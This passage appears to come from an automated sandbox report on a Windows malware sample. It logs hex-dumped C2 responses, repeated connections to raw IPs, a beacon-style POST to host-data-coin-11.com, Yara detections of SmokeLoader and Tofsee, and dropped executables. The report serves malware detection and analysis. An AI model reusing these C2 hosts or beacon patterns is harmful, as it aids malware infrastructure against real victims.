34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 60 4d 87 33 c5 de 66 b2 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTev`M3fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 4a e5 a8 84 70 bc 57 dd 40 d6 f6 27 87 27 ed c3 91 53 2d e6 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9JpW@''S-c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 13 Jan 2022 19:51:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec a9 8a 70 bc 57 dd 40 d6 f7 26 80 24 e7 c3 91 54 22 e0 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpW@&$T"c0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://hudnwo.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 170Host: host-data-coin-11.com

Source: unknown	HTTPS traffic detected: 185.233.81.115:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.38.221:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49839 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.1.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.1.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.tiftjuh.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.emPJndhuvA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.tiftjuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.emPJndhuvA.exe.5315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.3D67.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.tiftjuh.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.3D67.exe.4615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.310069625.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386280466.0000000001F30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.386498287.0000000002431000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295057363.0000000003A61000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360645909.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.309813053.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.360518485.00000000004A0000.00000004.00000001.sdmp, type: MEMORY

Source: 952.exe, 0000001E.00000002.412786199.000000000077A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 44.3.vodibdaj.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.952.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.610000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.952.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 44.2.vodibdaj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.412229320.0000000000580000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.383697292.00000000005A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417710033.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417504443.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.543176167.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.410807233.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000002.417841182.0000000000610000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002C.00000003.415295647.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 952.exe PID: 1068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vodibdaj.exe PID: 6484, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 3104 -ip 3104

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00411CED	0_2_00411CED
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_004110B1	0_2_004110B1
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_004115F5	0_2_004115F5
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00412A4E	0_2_00412A4E
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_0040C2F9	0_2_0040C2F9
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00410B6D	0_2_00410B6D
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_0040437E	0_2_0040437E
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00533253	0_2_00533253
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_005331FF	0_2_005331FF
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402A5F	1_2_00402A5F
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402AB3	1_2_00402AB3
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402A5F	1_1_00402A5F
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402AB3	1_1_00402AB3
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00463253	20_2_00463253
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_004631FF	20_2_004631FF
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402A5F	21_2_00402A5F
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402AB3	21_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_004027CA	22_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_00401FF1	22_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_0040158E	22_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_004015A6	22_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_004015BC	22_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_00411065	22_2_00411065
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_00412A02	22_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_0040CAC5	22_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_00410B21	22_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_004115A9	22_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_0208160C	22_2_0208160C
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_020815DE	22_2_020815DE
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_020815F6	22_2_020815F6
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_0041004B	25_2_0041004B
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00411075	25_2_00411075
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00411CB1	25_2_00411CB1
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_004115B9	25_2_004115B9
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_0040462E	25_2_0040462E
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00412B43	25_2_00412B43
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00410B31	25_2_00410B31
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00463253	25_2_00463253
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_004631FF	25_2_004631FF
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402A5F	28_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402AB3	28_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00410800	29_2_00410800
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00411280	29_2_00411280
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004103F0	29_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004109F0	29_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00590A50	29_2_00590A50
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00590640	29_2_00590640
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00590C40	29_2_00590C40
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_005914D0	29_2_005914D0
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: 30_2_0040C913	30_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_02F796F0	32_2_02F796F0
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_02F70470	32_2_02F70470
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_02F70460	32_2_02F70460
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_0300DE18	32_2_0300DE18
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_03008658	32_2_03008658
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_03008DE8	32_2_03008DE8
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Code function: 32_2_03008DF8	32_2_03008DF8

Source: C:\Users\user\AppData\Local\Temp\952.exe

Code function: 30_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,VirtualAlloc,

30_2_00401280

Source: emPJndhuvA.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: emPJndhuvA.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: emPJndhuvA.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45F8.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45F8.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 45F8.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2819.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2819.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2819.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3D67.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3D67.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3D67.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3D67.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FD2B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FD2B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FD2B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FD2B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 952.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 952.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 952.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 952.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5F8C.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5F8C.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5F8C.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5F8C.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: CA61.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
